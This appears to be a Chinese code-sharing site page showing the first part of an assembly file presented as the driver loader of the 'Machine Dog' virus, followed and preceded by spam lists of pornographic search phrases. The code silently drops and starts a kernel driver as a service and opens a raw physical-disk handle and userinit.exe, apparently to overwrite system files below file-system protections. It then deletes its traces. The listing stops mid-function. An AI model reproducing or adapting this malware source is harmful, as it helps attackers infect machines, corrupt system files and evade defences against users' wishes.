亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? test.asm

?? 機器狗病毒的驅動程序源代碼,值得好好學習
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib

.data 
Text            db '對不起,驅動程序的加載沒有成功,程序將無法運行.',0
FileName        db '\\.\PhysicalHardDisk0',0
a_Physicaldrive  db '\\.\PhysicalDrive0',0
aFCJ            db '分配內存不成功',0
OutputString    db '操作成功', 0
Dst             db 10Ch dup(0)
hModule         dd 0
ERR1            db '尋址文件不成功',0  
ERR2            db '不支持的磁盤分區',0
ERR3            db '第一個分區不是啟動分區',0
ERR4            db '該文件是壓縮文件,不能操作',0
ERR5            db '獲取文件原始信息失敗',0
ERR6            db '打開文件失敗',0
ERR7            db '加載驅動失敗',0

.code

Src             db '%SystemRoot%\system32\drivers\pcihdd.sys',0
ServiceName     db 'PciHdd',0

;**********************************************************************************************
;退出服務,并刪除文件badwolf祝福你好運!http://www.winshell.cn QQ:13699576
;**********************************************************************************************
QuitService proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL @FileName[100h]:byte

push  0F003Fh    ; dwDesiredAccess
push  0    ; lpDatabaseName
push  0    ; lpMachineName
call  OpenSCManagerA
or  eax, eax
jz  OpenSCManagerFail
mov  hSCManager, eax

push  0F01FFh    ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  hSCManager ; hSCManager
call  OpenServiceA
or  eax, eax
jz  OpenServiceFail
mov  hSCObject, eax
lea  eax, ServiceStatus
push  eax    ; lpServiceStatus
push  1    ; dwControl
push  hSCObject  ; hService
call  ControlService

push  hSCObject  ; hService
call  DeleteService

push  hSCObject  ; hSCObject
call  CloseServiceHandle

OpenServiceFail:    ; hSCObject
push  hSCManager
call  CloseServiceHandle

OpenSCManagerFail:    ; nSize
push  100h
lea  eax, @FileName
push  eax    ; lpDst
push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call  ExpandEnvironmentStringsA

lea  eax, @FileName
push  eax    ; lpFileName
call  DeleteFileA
ret
QuitService endp

;**********************************************************************************************
;從資源中加載二進制內容寫入文件,并將文件寫入環境變量,然后啟動服務,最后去掉環境變量,刪除文件
;**********************************************************************************************
LoadServiceFromRes proc  

LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL nNumberOfBytesToWrite
LOCAL lpBuffer
LOCAL hResInfo
LOCAL @FileName[110h]:byte
LOCAL hObject
LOCAL NumberOfBytesWritten

push  3E9h    ; lpType
push  3E9h    ; lpName
push  hModule    ; hModule
call  FindResourceA
or  eax, eax
jz  failed

mov  hResInfo,  eax
push  eax    ; hResInfo
push  hModule    ; hModule
call  SizeofResource
mov  nNumberOfBytesToWrite, eax

push  hResInfo  ; hResInfo
push  hModule    ; hModule
call  LoadResource
or  eax, eax
jz  failed

push  eax    ; hResData
call  LockResource
or  eax, eax
jz  failed
mov  lpBuffer,  eax

failed:
or  eax, eax
jnz  CONTINUE
jmp  Exit

CONTINUE:    ; nSize
push  100h
lea  eax, @FileName 
push  eax    ; lpDst
push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call  ExpandEnvironmentStringsA

push  0    ; hTemplateFile
push  80h    ; dwFlagsAndAttributes
push  4    ; dwCreationDisposition
push  0    ; lpSecurityAttributes
push  0    ; dwShareMode
push  40000000h  ; dwDesiredAccess
lea  eax, @FileName
push  eax    ; lpFileName
call  CreateFileA
cmp  eax, 0FFFFFFFFh
jnz  short CREATEFILEOK
jmp  Exit

CREATEFILEOK:
mov  hObject, eax
push  0    ; lpOverlapped
lea  eax, NumberOfBytesWritten
push  eax    ; lpNumberOfBytesWritten
push  nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push  lpBuffer  ; lpBuffer
push  hObject   ; hFile
call  WriteFile

push  hObject          ; hFile
call  SetEndOfFile

push  hObject    ; hFile
call  FlushFileBuffers
push  hObject   ; hObject
call  CloseHandle
        
push  0F003Fh         ; dwDesiredAccess
push  0    ; lpDatabaseName
push  0    ; lpMachineName
call  OpenSCManagerA
or  eax, eax
jz  OpenSCManagerFailed
mov  hSCManager, eax

push  0    ; lpPassword
push  0    ; lpServiceStartName
push  0    ; lpDependencies
push  0    ; lpdwTagId
push  0    ; lpLoadOrderGroup
lea  eax, @FileName
push  eax    ; lpBinaryPathName
push  0    ; dwErrorControl
push  3    ; dwStartType
push  1    ; dwServiceType
push  0    ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  offset ServiceName ; "PciHdd"
push  hSCManager      ; hSCManager
call  CreateServiceA
or  eax, eax
jz  CreateServiceFailed
mov  hSCObject, eax
push  hSCObject  ; hSCObject
call  CloseServiceHandle
jmp  OPENSERVICE

CreateServiceFailed:    
push  0F01FFh            ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  hSCManager      ; hSCManager
call  OpenServiceA
or  eax, eax
jz  short OpenServiceFailed
mov  hSCObject, eax
lea  eax, ServiceStatus
push  eax    ; lpServiceStatus
push  1    ; dwControl
push  hSCObject  ; hService
call  ControlService
push  hSCObject  ; hService
call  DeleteService
push  hSCObject  ; hSCObject
call  CloseServiceHandle

OpenServiceFailed:    
push  0               ; lpPassword
push  0    ; lpServiceStartName
push  0    ; lpDependencies
push  0    ; lpdwTagId
push  0    ; lpLoadOrderGroup
lea  eax, @FileName
push  eax    ; lpBinaryPathName
push  0    ; dwErrorControl
push  3    ; dwStartType
push  1    ; dwServiceType
push  0    ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  offset ServiceName ; "PciHdd"
push  hSCManager ; hSCManager
call  CreateServiceA
or  eax, eax
jz  QUIT
mov  hSCObject, eax
push  hSCObject  ; hSCObject
call  CloseServiceHandle
jmp  OPENSERVICE

QUIT:
jmp  Exit

OPENSERVICE:    
push  10h                ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  hSCManager ; hSCManager
call  OpenServiceA
or  eax, eax
jz  OPENSERVICEFAILED
mov  hSCObject, eax
push  0    ; lpServiceArgVectors
push  0    ; dwNumServiceArgs
push  hSCObject  ; hService
call  StartServiceA
or  eax, eax
jnz  StartServiceOK
jmp  Exit

StartServiceOK:    ; hSCObject
push  hSCObject
call  CloseServiceHandle
push  hSCManager ; hSCObject
call  CloseServiceHandle
jmp  OpenSCManagerFailed

OPENSERVICEFAILED:    
push  hSCManager 
call  CloseServiceHandle
jmp  Exit

OpenSCManagerFailed:    ; nSize
push  100h
lea  eax, @FileName
push  eax    ; lpDst
push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call  ExpandEnvironmentStringsA
lea  eax, @FileName
push  eax    ; lpFileName
call  DeleteFileA
ret

Exit:    
push  10h
push  0    ; lpCaption
push  offset Text  ; "出錯"
push  0    ; hWnd
call  MessageBoxA
push  0    ; uExitCode
call  ExitProcess
LoadServiceFromRes  endp

aSystemrootSyst  db '%SystemRoot%\System32\Userinit.exe',0
;***************************************************************************************************************
;簇是磁盤使用的基本單元。 組成一個簇的扇區數總是2的冪數,當卷被格式化時此數值是固定的。 此數值稱為簇要素,
;通常用字節引用,如8KB,2KB。 NTFS通過每件事的邏輯簇數來尋址。
;邏輯簇數(LCN):卷里的每個簇都給定了一個順序號,這是它的邏輯簇數。LCN0(零)指向卷的第一個簇(引導扇區)。
;                用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;實際簇數(VCN):一個非常駐的流的每個簇都給定了一個順序號,這是它的實際簇數。VCN0(零)指向這個流的第一個簇。
;               要定位磁盤上的流,就必須把VCN轉換成LCN.這是在數據運轉的幫助下完成的。
;
;數據運轉:每個LCN的連續模塊都被賦予了一個數據運轉,它包含一個VCN,一個LCN和一個長度。 
;         當NTFS需要在磁盤上找到一個對象時,就查看數據運轉中的VCN來得到LCN。 

;其他信息:
; 1)當卷被格式化時可以選擇簇的大小。
; 2)一個卷的簇的大小存儲在$Boot里。也定義了此值在一個MFT文件記錄和一個索引記錄的簇里。
; 3)如果扇區數在用,NTFS通過引用簇數可以尋址更大的磁盤。

;下面是一個關于允許和默認簇的大小的列表:

;Windows NT
;    512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
;   512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB

;卷的大小   默認的簇的大小
;< 512MB   Sector size
;< 1GB    1KB
;< 2GB    2KB
;> 2GB    4KB
;***************************************************************************************************************
DoMyWork proc  lpFileName   ;成功返回值為0

LOCAL lpBuffer
LOCAL nNumberOfBytesToWrite
LOCAL hDevice
LOCAL lDistanceToMove
LOCAL HighOffset
LOCAL dwLowPartofLcn
LOCAL dwHighPartofLcn
LOCAL StartSectorC
LOCAL hFile
LOCAL PhysicalBuff[512]:BYTE
LOCAL Buffer[512]:BYTE
LOCAL OutBuffer[272]:BYTE
LOCAL dwRet
LOCAL DistanceToMoveHigh:DWORD
LOCAL InBuffer[8]:BYTE
LOCAL hObject

pusha
push  0    ; hTemplateFile
push  0    ; dwFlagsAndAttributes
push  3    ; dwCreationDisposition
push  0    ; lpSecurityAttributes
push  0    ; dwShareMode
push  80000000h  ; dwDesiredAccess
push  offset FileName  ; "\\\\.\\PhysicalHardDisk0" 是pcihdd.sys創建的符號鏈接
call  CreateFileA
cmp  eax, 0FFFFFFFFh
jz  CreateFileFailed
mov  hDevice, eax

push  0    ; hTemplateFile
push  20000000h  ; dwFlagsAndAttributes
push  3    ; dwCreationDisposition
push  0    ; lpSecurityAttributes
push  3    ; dwShareMode
push  80000000h  ; dwDesiredAccess
push  lpFileName  ; 打開userinit.exe
call  CreateFileA
cmp  eax, 0FFFFFFFFh
jz  CreateUserInitFileFailed
mov  hObject, eax

       push    8
       lea     eax,InBuffer
       push    eax

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
精品视频在线视频| 粉嫩aⅴ一区二区三区四区| 色综合天天综合网天天狠天天| 国产欧美日韩激情| 国产成人小视频| 国产视频一区二区在线| 国产91在线看| 国产精品三级在线观看| 99精品视频在线观看| 亚洲狠狠丁香婷婷综合久久久| 成人app网站| 亚洲一区二区精品3399| 91精彩视频在线| 日韩成人伦理电影在线观看| 欧美一级爆毛片| 韩国av一区二区三区四区| 2020国产成人综合网| 国产成人免费视频网站高清观看视频 | 日韩女优毛片在线| 国产美女精品在线| 久久久精品国产99久久精品芒果| 处破女av一区二区| 国产精品三级电影| 欧美二区乱c少妇| 日韩成人av影视| 日韩三级视频在线看| 精品中文字幕一区二区| 国产亚洲欧美日韩日本| 91视频免费播放| 午夜天堂影视香蕉久久| 精品国产欧美一区二区| 福利视频网站一区二区三区| 一区二区在线观看av| 欧美日韩1234| 免费观看在线色综合| 国产精品动漫网站| 欧美亚洲自拍偷拍| 精品一区二区在线观看| 欧美经典一区二区| 欧美精品亚洲一区二区在线播放| 久久国产精品99久久人人澡| 国产午夜精品一区二区三区嫩草 | 一本色道久久综合亚洲精品按摩| 亚洲人精品午夜| 欧美唯美清纯偷拍| 精品一区二区在线播放| 亚洲成a天堂v人片| 久久久国际精品| 欧美久久久久中文字幕| 国产成人午夜片在线观看高清观看| 亚洲成av人片一区二区梦乃| 久久精品视频免费| 69久久夜色精品国产69蝌蚪网| 国产精品88888| 最近日韩中文字幕| 欧美国产精品中文字幕| 色婷婷国产精品| 成人免费不卡视频| 日本欧美一区二区三区| 亚洲精品福利视频网站| 欧美精品一区二区三区蜜桃 | 精品久久久久香蕉网| av一区二区久久| 韩国成人福利片在线播放| 伊人性伊人情综合网| 亚洲国产成人私人影院tom| 欧美日韩国产综合一区二区三区| 国产精品资源在线观看| 久久精品理论片| 亚洲一区二区三区视频在线播放| 亚洲视频在线一区二区| 久久久夜色精品亚洲| 欧美电影免费观看高清完整版在线 | 亚洲成av人片在线观看| 日本一区二区在线不卡| 久久久久久久综合狠狠综合| 欧美区在线观看| 91麻豆精东视频| 国产乱码字幕精品高清av | 欧美色偷偷大香| 99久久综合国产精品| 琪琪一区二区三区| 五月天婷婷综合| 亚洲一区在线播放| 亚洲国产欧美在线| 亚洲欧洲中文日韩久久av乱码| 中文字幕av一区二区三区| www国产成人| 国产欧美一区二区精品性| 精品日韩av一区二区| 久久99这里只有精品| 毛片不卡一区二区| 日本不卡一二三| 激情成人午夜视频| 国产一区二区三区久久悠悠色av| 国产一区不卡精品| 国产v日产∨综合v精品视频| 国产精品99久久久久久久女警| 精品一区二区三区在线观看 | 亚洲一区二区三区四区五区中文| 亚洲一区二区三区美女| 亚洲国产cao| 男女男精品视频网| 久久99日本精品| 国产一区二区不卡| 成人免费视频caoporn| 国产精品亚洲午夜一区二区三区| av福利精品导航| 色综合久久中文综合久久97| 欧美日韩夫妻久久| 欧美一区三区四区| 国产人成亚洲第一网站在线播放| 久久免费美女视频| 中文字幕一区二区三区乱码在线| 中文字幕一区av| 丝袜美腿一区二区三区| 奇米在线7777在线精品| www.欧美日韩| 欧美日韩免费一区二区三区| 99久久精品国产麻豆演员表| 欧美日韩国产综合视频在线观看| 欧美一三区三区四区免费在线看| 久久久久久久综合色一本| 中文字幕中文字幕中文字幕亚洲无线| 亚洲制服丝袜在线| 免费观看成人鲁鲁鲁鲁鲁视频| 国产成人一区二区精品非洲| 91污片在线观看| 日韩精品一区二区三区在线观看| 国产日韩综合av| 亚洲成人高清在线| 国产乱一区二区| 99久久免费国产| 欧美一区二区视频免费观看| 日韩一区二区电影在线| 亚洲人一二三区| 免费人成网站在线观看欧美高清| av亚洲精华国产精华精| 欧美欧美欧美欧美首页| 国产精品久久久久久久久快鸭| 亚洲国产精品一区二区久久| 成人精品鲁一区一区二区| 欧美视频精品在线观看| 国产精品久久久久一区二区三区| 午夜精品一区在线观看| 91小宝寻花一区二区三区| 精品粉嫩超白一线天av| 五月天一区二区| 94-欧美-setu| 国产欧美一区二区三区在线老狼| 亚洲已满18点击进入久久| 成人小视频免费观看| 日韩一区二区三区在线观看| 国产喷白浆一区二区三区| 美女一区二区三区在线观看| 国产馆精品极品| 欧美一区二区三区免费在线看| 精品国产青草久久久久福利| 午夜欧美大尺度福利影院在线看| aa级大片欧美| 久久嫩草精品久久久久| 日本美女一区二区三区| 99国产欧美另类久久久精品| 亚洲欧洲三级电影| 狠狠色丁香九九婷婷综合五月| 777a∨成人精品桃花网| 一区二区三区不卡在线观看| 一本久道久久综合中文字幕| 久久综合九色综合欧美就去吻| 久久www免费人成看片高清| 欧美在线免费播放| 亚洲小说欧美激情另类| 成人动漫一区二区| 国产精品不卡在线| 成人午夜视频免费看| 中文一区二区在线观看| 精品午夜久久福利影院| 日韩欧美二区三区| 一区二区三区不卡视频在线观看 | 日本韩国视频一区二区| 日本一区二区三区在线不卡| 精品综合免费视频观看| 欧美成人精品1314www| 激情欧美日韩一区二区| 精品日韩一区二区三区免费视频| 国产一区二区主播在线| 精品国产制服丝袜高跟| 国产成人精品在线看| 久久久久久久久久久久久夜| 成人综合婷婷国产精品久久| 国产日韩av一区| 91视频免费播放| 有坂深雪av一区二区精品| 欧美写真视频网站| 亚洲电影中文字幕在线观看| 日韩欧美你懂的| 国产一区二区三区四区在线观看 | 色婷婷综合在线| 国产精品久久久久久久岛一牛影视| 色噜噜偷拍精品综合在线|